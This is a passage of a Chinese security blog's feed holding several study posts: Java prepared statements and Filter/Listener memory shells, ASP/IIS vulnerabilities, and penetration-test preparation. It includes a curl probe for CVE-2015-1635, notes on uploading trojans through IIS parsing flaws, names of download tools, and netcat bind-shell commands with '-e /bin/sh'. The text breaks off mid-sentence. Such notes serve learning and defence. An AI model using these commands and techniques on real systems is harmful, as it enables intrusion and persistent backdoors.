语句（只改变其中的参数）时，数据库服务器可以直接重用预编译的查询计划，而不必每次都重新解析和编译 SQL 语句。</p><p>预编译防止 SQL 注入攻击。因为在预编译中，<strong>SQL 语句与参数是分开的</strong>，用户输入的参数不会直接嵌入到 SQL 语句中，而是作为独立的变量传递，这样可以有效地防止恶意用户构造恶意的 SQL 注入。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> java.sql.Connection;</span><br><span class="line"><span class="keyword">import</span> java.sql.DriverManager;</span><br><span class="line"><span class="keyword">import</span> java.sql.PreparedStatement;</span><br><span class="line"><span class="keyword">import</span> java.sql.ResultSet;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">PreparedStatementExample</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">url</span> <span class="operator">=</span> <span class="string">&quot;jdbc:mysql://localhost:3306/mydatabase&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> <span class="string">&quot;root&quot;</span>;</span><br><span class="line">        <span class="type">String</span> <span class="variable">password</span> <span class="operator">=</span> <span class="string">&quot;password&quot;</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">try</span> (<span class="type">Connection</span> <span class="variable">conn</span> <span class="operator">=</span> DriverManager.getConnection(url, username, password)) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">sql</span> <span class="operator">=</span> <span class="string">&quot;SELECT * FROM users WHERE username = ? AND password = ?&quot;</span>;</span><br><span class="line">            <span class="type">PreparedStatement</span> <span class="variable">pstmt</span> <span class="operator">=</span> conn.prepareStatement(sql); <span class="comment">//预编译</span></span><br><span class="line">            pstmt.setString(<span class="number">1</span>, <span class="string">&quot;admin&quot;</span>);  <span class="comment">// 设置第一个参数</span></span><br><span class="line">            pstmt.setString(<span class="number">2</span>, <span class="string">&quot;admin123&quot;</span>);  <span class="comment">// 设置第二个参数</span></span><br><span class="line"></span><br><span class="line">            <span class="type">ResultSet</span> <span class="variable">rs</span> <span class="operator">=</span> pstmt.executeQuery();</span><br><span class="line">            <span class="keyword">while</span> (rs.next()) &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;User ID: &quot;</span> + rs.getInt(<span class="string">&quot;id&quot;</span>));</span><br><span class="line">                System.out.println(<span class="string">&quot;Username: &quot;</span> + rs.getString(<span class="string">&quot;username&quot;</span>));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            e.printStackTrace();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h2 id="Filter过滤器"><a href="#Filter过滤器" class="headerlink" title="Filter过滤器"></a>Filter过滤器</h2><p><strong>Filter</strong> 是一种用来对请求和响应进行预处理和后处理的组件。Filter 过滤器通常用于实现请求&#x2F;响应的拦截功能，可以在请求到达 Servlet 之前或响应返回客户端之前执行特定的操作。</p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//简单的通过关键字（正则）的过滤</span></span><br><span class="line"><span class="meta">@WebFilter(&quot;/Test&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">XssFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;XssFilter init&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;XssFilter destroy&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;XssFilter doFilter&quot;</span>);</span><br><span class="line">        <span class="comment">//接受参数，处理</span></span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> (HttpServletRequest) servletRequest;</span><br><span class="line">        <span class="type">String</span> <span class="variable">code</span> <span class="operator">=</span> request.getParameter(<span class="string">&quot;code&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!code.contains(<span class="string">&quot;&lt;script&gt;&quot;</span>)) &#123;</span><br><span class="line">            <span class="comment">//放行</span></span><br><span class="line">            filterChain.doFilter(servletRequest, servletResponse);</span><br><span class="line">        &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;Xss!!!!!!!!!!!!&quot;</span>);</span><br><span class="line">            <span class="comment">//拦截</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//通过cookie验证</span></span><br><span class="line"><span class="meta">@WebFilter(&quot;/admin&quot;)</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">AdminFilter</span> <span class="keyword">implements</span> <span class="title class_">Filter</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">init</span><span class="params">(FilterConfig filterConfig)</span> <span class="keyword">throws</span> ServletException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;AdminFilter init&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">destroy</span><span class="params">()</span> &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;AdminFilter destroy&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">doFilter</span><span class="params">(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)</span> <span class="keyword">throws</span> IOException, ServletException &#123;</span><br><span class="line">        System.out.println(<span class="string">&quot;AdminFilter doFilter&quot;</span>);</span><br><span class="line">        <span class="comment">//检测cookie过滤</span></span><br><span class="line">        <span class="type">HttpServletRequest</span> <span class="variable">request</span> <span class="operator">=</span> (HttpServletRequest) servletRequest;</span><br><span class="line">        Cookie[] cookies = request.getCookies();</span><br><span class="line">        <span class="keyword">for</span> (Cookie cookie : cookies) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">cookieName</span> <span class="operator">=</span> cookie.getName();</span><br><span class="line">            <span class="type">String</span> <span class="variable">cookieValue</span> <span class="operator">=</span> cookie.getValue();</span><br><span class="line">            System.out.println(<span class="string">&quot;Cookie Name: &quot;</span> + cookieName);</span><br><span class="line">            System.out.println(<span class="string">&quot;Cookie Value: &quot;</span> + cookieValue);</span><br><span class="line">            <span class="keyword">if</span>(cookieName.contains(<span class="string">&quot;user&quot;</span>)  &amp;&amp; cookieValue.contains(<span class="string">&quot;admin&quot;</span>)) &#123;</span><br><span class="line">                filterChain.doFilter(request, servletResponse);</span><br><span class="line">            &#125;<span class="keyword">else</span> &#123;</span><br><span class="line">                System.out.println(<span class="string">&quot;非管理员访问&quot;</span>);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><h3 id="Filter简单内存🐎演示"><a href="#Filter简单内存🐎演示" class="headerlink" title="Filter简单内存🐎演示"></a>Filter简单内存🐎演示</h3><p>哥斯拉生成1.jsp并连接</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408262333445.png" alt="image-20240826233352318"></p><p>Java-Web流程：</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408262342080.png" alt="img"></p><p>常规后门在Servlet（可以在本地目录中看到文件，清理后门时只需要删除有即可），内存🐎写到Filter或Listener，所以清理后门时，内存🐎不易被发现</p><h2 id="Listener监听器"><a href="#Listener监听器" class="headerlink" title="Listener监听器"></a>Listener监听器</h2><p><strong>监听器Listener按照监听的事件可以分成3大类</strong></p><ul><li>1.监听对象创建和销毁的监听器</li><li>2.监听对象中属性变更的监听器</li><li>3.监听 HttpSession 中的对象状态改变的监听器</li></ul><p><strong>监听对象创建和销毁的监听器</strong></p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408281458876.png" alt="image-20240828145849813"></p><div class="highlight-container" data-rel="Java"><figure class="iseeu highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//监听Session创建与销毁</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@WebListener</span>  <span class="comment">//不依靠路由访问监听</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">ListenSession</span> <span class="keyword">implements</span> <span class="title class_">HttpSessionListener</span> &#123;</span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sessionCreated</span><span class="params">(HttpSessionEvent se)</span> &#123;</span><br><span class="line">        <span class="comment">//检测到Session创建</span></span><br><span class="line">        System.out.println(<span class="string">&quot;Listener:Session created&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">sessionDestroyed</span><span class="params">(HttpSessionEvent se)</span> &#123;</span><br><span class="line">        <span class="comment">//检测到Session销毁</span></span><br><span class="line">        System.out.println(<span class="string">&quot;Listener:Session destroyed&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></div><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408281436274.png" alt="image-20240828143618151"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;Servlet&quot;&gt;&lt;a href=&quot;#Servlet&quot; class=&quot;headerlink&quot; title=&quot;Servlet&quot;&gt;&lt;/a&gt;Servlet&lt;/h2&gt;&lt;p&gt;Servlet路由：&lt;/p&gt;
&lt;div class=&quot;highlight-container&quot; da</summary>
      
    
    
    
    <category term="Web JAVA" scheme="http://example.com/categories/Web-JAVA/"/>
    
    
  </entry>
  
  <entry>
    <title>Penetration-ASP</title>
    <link href="http://example.com/2024/08/20/Penetration/"/>
    <id>http://example.com/2024/08/20/Penetration/</id>
    <published>2024-08-20T13:16:22.000Z</published>
    <updated>2024-08-28T06:51:29.527Z</updated>
    
    <content type="html"><![CDATA[<h2 id="penetration-testasp"><a class="markdownIt-Anchor" href="#penetration-testasp">#</a> Penetration-Test–ASP</h2><p>漏洞快比我老了，好像基本没啥用</p><h3 id="asp应用"><a class="markdownIt-Anchor" href="#asp应用">#</a> ASP 应用</h3><h4 id="mdb数据库泄漏下载"><a class="markdownIt-Anchor" href="#mdb数据库泄漏下载">#</a> MDB 数据库泄漏下载</h4><ul><li>由于大部分<strong> ASP 程序与 ACCESS 数据库搭建</strong>，但 ACCESS 无需连接</li><li>在<strong>脚本文件中定义配置好数据库路径即用</strong>，<strong>不需要额外配置安装数据库</strong></li><li>提前固定好的数据库路径如<strong>默认未修改</strong>，（…/database/%23data.mdb）</li><li><strong>当攻击者知道数据库的完整路径，可远程下载后解密数据实现攻击。</strong></li></ul><h4 id="httpsyscve-2015-1635"><a class="markdownIt-Anchor" href="#httpsyscve-2015-1635">#</a> HTTP.SYS（CVE-2015-1635）</h4><p>远程执行代码漏洞存在于 <strong>HTTP 协议堆栈 (HTTP.sys)</strong> 中，当 HTTP.sys 未正确分析经<strong>特殊设计的 HTTP 请求时会导致此漏洞</strong>。 成功利用此漏洞的攻击者可以在系统帐户的上下文中<strong>执行任意代码。</strong></p><div class="highlight-container" data-rel="Bash"><figure class="iseeu highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">curl -v IP -H <span class="string">&quot;Host:irrelevant&quot;</span> -H <span class="string">&quot;Range:bytes=0-18446744073709551615&quot;</span></span><br></pre></td></tr></table></figure></div><h4 id="iis短文件"><a class="markdownIt-Anchor" href="#iis短文件">#</a> IIS 短文件</h4><p>此漏洞实际是由<strong> HTTP 请求</strong>中旧<strong> DOS 8.3 名称约定</strong> (SFN) 的<strong>代字符 (~) 波浪号</strong>引起的。它允许远程攻击者在<strong> Web 根目录下公开文件和文件夹名称</strong> (不应该可被访问)。攻击者可以找到通常无法从<strong>外部直接访问的重要文件</strong>，并获取有<strong>关应用程序基础结构的信息</strong>。</p><p><strong>利用工具</strong>：<a class="link" href="https://github.com/lijiejie/IIS_shortname_Scanner">lijiejie/IIS_shortname_Scanner: an IIS shortname Scanner (github.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="iis文件解析"><a class="markdownIt-Anchor" href="#iis文件解析">#</a> IIS 文件解析</h4><ul><li>IIS 6 解析漏洞，该版本会将 <code>*.asp;,jpg</code>  此种格式的文件名当成 asp 解析，会将 <code>*.asp/</code>  目录下的所有文件当成 asp 解析<ul><li>→<strong>可以上传木马文件，以图片形式或文件夹形式替换格式</strong></li></ul></li><li>IIS 7.x 解析漏洞<ul><li>在一个文件路径 (/xx.jpg) 后面加上 /xx.php 会将 /xx.jpg/xx.php 解析为 php 文件<br>应用场景：配合文件上传获取 Webshell</li></ul></li></ul><h4 id="iis写权限"><a class="markdownIt-Anchor" href="#iis写权限">#</a> IIS 写权限</h4><ul><li>IIS&lt;=6.0 目录权限开启写入，开启 WebDAV，设置为允许</li><li>可以通过提交 put 包，进行写入文件（可置入木马，获得权限）<br>参考利用：<a class="link" href="https://cloud.tencent.com/developer/article/2050105">IIS 写权限漏洞分析溯源 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></li></ul><h4 id="sql注入-sqlmap使用access注入"><a class="markdownIt-Anchor" href="#sql注入-sqlmap使用access注入">#</a> SQL 注入 - SQLMAP 使用 &amp; ACCESS 注入</h4><p><a class="link" href="https://fc04db.github.io/2024/06/18/SQL-injection/">SQL injection - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p><a class="link" href="https://blog.csdn.net/shangguanliubei/article/details/135969232?ops_request_misc=&amp;request_id=&amp;biz_id=102&amp;utm_term=sqlmap&amp;utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduweb~default-0-135969232.142%5Ev100%5Epc_search_result_base3&amp;spm=1018.2226.3001.4187">【SQLMAP】 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;penetration-testasp&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#penetration-testasp&quot;&gt;#&lt;/a&gt; Penetration-Test–ASP&lt;/h2&gt;
&lt;p&gt;漏洞快比我老了，好像基本没啥用&lt;/p&gt;</summary>
      
    
    
    
    <category term="Web Penetration" scheme="http://example.com/categories/Web-Penetration/"/>
    
    
  </entry>
  
  <entry>
    <title>Preparation for Penetration Test</title>
    <link href="http://example.com/2024/08/02/Penetration-Test/"/>
    <id>http://example.com/2024/08/02/Penetration-Test/</id>
    <published>2024-08-02T07:59:31.000Z</published>
    <updated>2024-08-28T06:51:23.376Z</updated>
    
    <content type="html"><![CDATA[<h2 id="web应用"><a class="markdownIt-Anchor" href="#web应用">#</a> Web 应用</h2><p>网站搭建四大件：</p><ul><li>操作系统</li><li>中间件</li><li>数据库</li><li>源码</li></ul><h3 id="网站内容组织和部署"><a class="markdownIt-Anchor" href="#网站内容组织和部署">#</a> 网站内容组织和部署</h3><h4 id="子域名模式"><a class="markdownIt-Anchor" href="#子域名模式">#</a> 子域名模式</h4><p>子域名模式通过在主域名前添加子域名来组织和访问不同的内容或服务。例如， <code>blog.yourdomain.com</code>  和 <code>shop.yourdomain.com</code>  分别用于博客和购物应用。</p><p><strong>优点</strong>：</p><ul><li><strong>独立性</strong>：每个子域名可以配置独立的服务器、应用和数据库，便于管理和维护。</li><li><strong>清晰性</strong>：通过不同的子域名，用户可以清晰地区分不同的内容或服务。</li><li><strong>安全性</strong>：隔离不同子域名的服务，增强整体安全性。</li></ul><p><strong>可能存在的漏洞类型</strong>：</p><p><strong>1. 子域名接管（Subdomain Takeover）</strong></p><p><strong>2. 跨站脚本攻击（XSS）</strong></p><p><strong>3. 跨站请求伪造（CSRF）</strong></p><h4 id="目录模式"><a class="markdownIt-Anchor" href="#目录模式">#</a> 目录模式</h4><p>目录模式通过在主域名后添加路径来组织和访问不同的内容。例如， <code>yourdomain.com/blog</code>  和 <code>yourdomain.com/shop</code>  分别用于博客和购物应用。</p><p><strong>优点</strong>：</p><ul><li><strong>简单部署</strong>：所有内容共享一个域名，只需配置一个虚拟主机或服务器块。</li><li><strong>易于管理</strong>：适合小型网站或应用，便于集中管理。</li><li><strong>SEO 友好</strong>：所有内容共享同一个域名，有助于提高主域名的 SEO 效果。</li></ul><p><strong>可能存在的漏洞类型</strong>：</p><p><strong>1. 目录遍历（Directory Traversal）</strong></p><p><strong>2. 访问控制缺失（Lack of Access Control）</strong></p><p><strong>3. 跨站脚本攻击（XSS）</strong></p><h4 id="端口模式"><a class="markdownIt-Anchor" href="#端口模式">#</a> 端口模式</h4><p>端口模式通过在主域名后添加不同的端口号来组织和访问不同的内容或服务。例如， <code>yourdomain.com:8080</code>  和 <code>yourdomain.com:9090</code>  分别用于不同的应用。</p><p><strong>优点</strong>：</p><ul><li><strong>独立性</strong>：每个端口可以对应独立的服务，便于隔离和管理。</li><li><strong>灵活性</strong>：不同服务可以在同一服务器上运行，避免域名冲突。</li></ul><p><strong>缺点</strong>：</p><ul><li><strong>用户体验</strong>：用户需要记住不同的端口号，不如子域名或目录直观。</li><li><strong>SEO 影响</strong>：搜索引擎对不同端口的处理不如子域名和目录友好。</li></ul><p><strong>可能存在的漏洞类型</strong>：</p><p><strong>1. 端口扫描（Port Scanning）</strong></p><p><strong>2. 未授权访问（Unauthorized Access）</strong></p><p><strong>3. 服务配置错误（Misconfiguration）</strong></p><h4 id="其他相关"><a class="markdownIt-Anchor" href="#其他相关">#</a> 其他相关</h4><ul><li>Docker 容器</li><li>分配站（托管、申请）</li><li>集成软件（phpstudy，宝塔）</li><li>静态网站：（html 网站）数据没有传属性（仅存在 js 的传输），无漏洞</li></ul><h3 id="源码"><a class="markdownIt-Anchor" href="#源码">#</a> 源码</h3><ul><li><strong>开源</strong>：个人博客框架，小型项目     源码可见  —  源码不可见【加密，语言特性（比如 class 文件）】</li><li><strong>商业</strong>：完整服务系统 **</li><li><strong>自写</strong>：大型公司</li></ul><h4 id="结构组成"><a class="markdownIt-Anchor" href="#结构组成">#</a> 结构组成</h4><ul><li><strong>数据库目录</strong></li><li><strong>后台目录</strong></li><li><strong>文件目录</strong></li></ul><h3 id="访问"><a class="markdownIt-Anchor" href="#访问">#</a> 访问</h3><ul><li><p><strong>常规访问</strong></p></li><li><p><strong>路由访问</strong>： <code>mvc源码，java，python</code>    Web 应用的路由是定义 URL 模式与请求处理程序之间的映射关系。<strong>配置路由</strong>决定了用户访问不同 URL 时，应用程序应执行哪些操作或显示哪些内容。</p></li></ul><h3 id="解析规范"><a class="markdownIt-Anchor" href="#解析规范">#</a> 解析规范</h3><p><strong>MIME</strong>：控制访问一个页面（文件）时的解析方式（下载，预览，特殊解析方式）</p><h3 id="数据库"><a class="markdownIt-Anchor" href="#数据库">#</a> 数据库</h3><ul><li><p><strong>本地统一</strong></p></li><li><p><strong>站库分离</strong>：站库分离（Separation of Web Server and Database Server）是一种常见的架构设计模式，旨在提高系统的安全性、性能和可扩展性。通过<strong>将 Web 服务器和数据库服务器分离</strong>，分别在不同的物理或虚拟机器上运行</p></li><li><p><strong>前后端分离</strong>：前后端独立开发、部署和运营。前端 JS 框架，API 传输数据</p></li></ul><h3 id="waf"><a class="markdownIt-Anchor" href="#waf">#</a> WAF</h3><p><a class="link" href="https://fc04db.github.io/2024/06/07/WAF/">WAF - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="cdn"><a class="markdownIt-Anchor" href="#cdn">#</a> CDN</h3><p>全称是内容分发网络（Content Delivery Network），是一种通过分布在各地的服务器群组来缓存和分发内容的技术。它的主要目的是提高用户访问网站的速度和可靠性。</p><p><strong>缓存</strong>：CDN 在全球多个节点（PoP, Points of Presence）上缓存静态内容，如图片、视频、CSS 和 JavaScript 文件。这减少了源服务器的负载，并缩短了用户请求的响应时间。</p><p><strong>负载均衡</strong>：CDN 可以根据流量情况将用户请求分配到不同的服务器上，避免单点过载。</p><p><strong>故障切换</strong>：如果某个节点出现故障，CDN 可以自动将流量切换到其他正常工作的节点上，确保服务的连续性。</p><p><strong>安全性</strong>：CDN 提供的安全功能包括 DDoS 防护、WAF（Web Application Firewall）等，保护网站免受各种网络攻击。会隐藏真实 ip</p><h3 id="oss"><a class="markdownIt-Anchor" href="#oss">#</a> OSS</h3><p>对象存储服务（Object Storage Service），是一种基于对象的存储服务，专为存储海量非结构化数据而设计，如图片、视频、日志文件、备份数据等。</p><p>当 oss 错误的配置了存储桶时，可能会造成任意文件上传或覆盖漏洞</p><p><a class="link" href="https://www.freebuf.com/articles/others-articles/356583.html">对象存储 (OSS) 攻防案例 <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="反向代理"><a class="markdownIt-Anchor" href="#反向代理">#</a> 反向代理</h3><p>使用一台代理服务器对底层的应用服务器进行代理。将他们的地址信息对客户端屏蔽，客户端只需要访问代理服务器即可，代理服务器会将请求转发给底层的真正起作用的应用服务器。但在客户端眼里，服务器只有唯一的一台，就是代理服务器。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408022131911.png" alt="在这里插入图片描述"></p><p>访问反向代理的目标只是一个代理，并非真实服务器 ip</p><p>反向代理可以重定向解析，所以反对代理出的站点与真实应用可能毫无关系</p><h4 id="与正向代理的区别"><a class="markdownIt-Anchor" href="#与正向代理的区别">#</a> 与正向代理的区别</h4><p><strong>正向代理</strong>：正向代理就是我们在没有权限访问某些服务器或者速率很慢时，通过代理服务器代表我们去访问，而代理服务器常常是有能力、有权限达到目的的。</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408022134189.png" alt="在这里插入图片描述"></p><p><strong>正向代理是代理客户端，反向代理是代理服务器端</strong></p><h2 id="app小程序"><a class="markdownIt-Anchor" href="#app小程序">#</a> APP &amp; 小程序</h2><h3 id="应用架构"><a class="markdownIt-Anchor" href="#应用架构">#</a> 应用架构</h3><h4 id="1-原生开发"><a class="markdownIt-Anchor" href="#1-原生开发">#</a> 1、原生开发</h4><p>安卓一般使用 java 开发，也会有 kotlin。ios 常用 Swift</p><p><strong>反编译 &amp; 抓包 &amp; 常规测试</strong></p><h4 id="2-h5语言开发vue"><a class="markdownIt-Anchor" href="#2-h5语言开发vue">#</a> 2、H5 语言开发（VUE）</h4><p>使用 H5&amp;VUE 开发可以多端复用（工具：HBuilderX）</p><p><strong>API&amp;JS 框架安全问题 &amp; JS 前端测试</strong></p><h4 id="3-使用flutter开发"><a class="markdownIt-Anchor" href="#3-使用flutter开发">#</a> 3、使用 Flutter 开发</h4><p>Flutter 是一个 UI 框架，使用 dart 语言进行开发，支持跨平台</p><h4 id="4-常规web开发"><a class="markdownIt-Anchor" href="#4-常规web开发">#</a> 4、常规 Web 开发</h4><p>web app 软件开发简单地说，就是开发一个网站，然后加入 app 的壳。webApp 一般非常小，内容都是 app 内的网页展示，受制于网页技术本身，可实现功能少，而且每次打开，几乎所有的内容都需要重新加载，所以反应速度慢，内容加载过多就容易卡死，用户体验差，而且 app 内的交互设计等非常有效。但开发周期长端，需要的技术人员少，成本低。</p><p><strong>常规 Web 安全测试</strong></p><h2 id="渗透命令"><a class="markdownIt-Anchor" href="#渗透命令">#</a> 渗透命令</h2><p>命令生成工具：[<a class="link" href="https://forum.ywhack.com/bountytips.php">~]# 棱角 ::Edge.Forum* (ywhack.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h3 id="文件上传下载"><a class="markdownIt-Anchor" href="#文件上传下载">#</a> 文件上传下载</h3><p>利用命令尝试下载文件，解决无图形化和数据传输的问题</p><p><img lazyload src="/images/loading.svg" data-src="https://fc04db.oss-cn-hangzhou.aliyuncs.com/image/202408032013300.png" alt="image-20240803201315936"></p><p><strong>LInux</strong>： <code>wget curl python ruby perl java</code></p><p><strong>Windows</strong>： <code>PowerShell Certutil Bitsadmin msiexec mshta rund1132</code></p><h3 id="反弹shell"><a class="markdownIt-Anchor" href="#反弹shell">#</a> 反弹 shell</h3><p>解决数据回显、数据通讯问题</p><p><a class="link" href="https://fc04db.github.io/2024/04/09/Reverse-shell/">Reverse shell - Fc04dB’s BLOG <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><p>[<a class="link" href="https://forum.ywhack.com/shell.php">~]# 棱角 ::Edge.Forum* (ywhack.com) <i class="fa-regular fa-arrow-up-right-from-square fa-sm"></i></a></p><h4 id="正向链接和反向链接"><a class="markdownIt-Anchor" href="#正向链接和反向链接">#</a> 正向链接和反向链接</h4><p><strong>正向连接</strong>（攻击机主动去连接受害主机）</p><p>正向连接是受害主机监听一个端口，由控制主机主动去连接受害主机的过程，适用于受害主机具有公网 ip 的情况下。例如下面，受害主机具有公网 ip，被控主机可以通过 ip 地址访问到受害主机，所以能够使用正相连接来控制受害主机。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">目标机器上命令：nc -lvp Target_port -e /bin/sh #正向shell是在目标机器上进行监听</span><br><span class="line">本地机器上命令：nc Target_ip Target_port #本地连接目标机器</span><br></pre></td></tr></table></figure></div><p><strong>反向连接</strong> （受害主机出网 主动连接攻击机）</p><p>反向连接是控制主机监听一个端口，由受害主机反向去连接控制主机的过程，适用于受害主机出网（或出网且没有公网 ip）的情况。例如，受害主机是一台位于内网，并且没有公网 ip 且能访问互联网的主机，控制主机无法直接通过 ip 